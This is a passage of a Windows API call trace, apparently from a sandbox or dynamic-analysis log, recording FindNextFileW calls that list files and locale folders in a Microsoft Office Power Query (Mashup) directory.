ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.EditorRibbon.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0207.589] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Initialization.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0207.589] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Models.dll", cAlternateFileName="MIC507~1.DLL")) returned 1 [0207.589] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcfa9f2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcfa9f2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23a5040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.dll", cAlternateFileName="MI7BEA~1.DLL")) returned 1 [0207.589] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb91216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.exe", cAlternateFileName="MICROS~2.EXE")) returned 1 [0207.589] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92201bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX40.exe", cAlternateFileName="MICROS~3.EXE")) returned 1 [0207.590] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6de953e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX45.exe", cAlternateFileName="MICROS~1.EXE")) returned 1 [0207.590] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e0ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.dll", cAlternateFileName="MI8E0B~1.DLL")) returned 1 [0207.590] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.XmlSerializers.dll", cAlternateFileName="MI7AD6~1.DLL")) returned 1 [0207.590] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OAuth.dll", cAlternateFileName="MIADE9~1.DLL")) returned 1 [0207.590] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4704e3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4704e3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbInterop.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbProvider.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6ea9118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6ea9118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23f640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.ScriptDom.dll", cAlternateFileName="MIC995~1.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Storage.XmlSerializers.dll", cAlternateFileName="MID814~1.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3760836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3760836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x481440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.dll", cAlternateFileName="MIE629~1.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x73ee48, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x73ee48, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73ee48, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14dac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Core.NetFX35.dll", cAlternateFileName="MIDAD6~1.DLL")) returned 1 [0207.591] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb8058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Edm.NetFX35.dll", cAlternateFileName="MIF00B~1.DLL")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xedac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="MIDB50~1.DLL")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Spatial.NetFX35.dll", cAlternateFileName="MI069E~1.DLL")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAzure.StorageClient.dll", cAlternateFileName="MI3285~1.DLL")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0207.592] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0207.593] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl", cAlternateFileName="")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0207.594] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mvc.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0207.595] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0207.596] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0207.596] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0207.596] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0207.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0207.596] SetThreadErrorMode (dwNewMode=0x0, 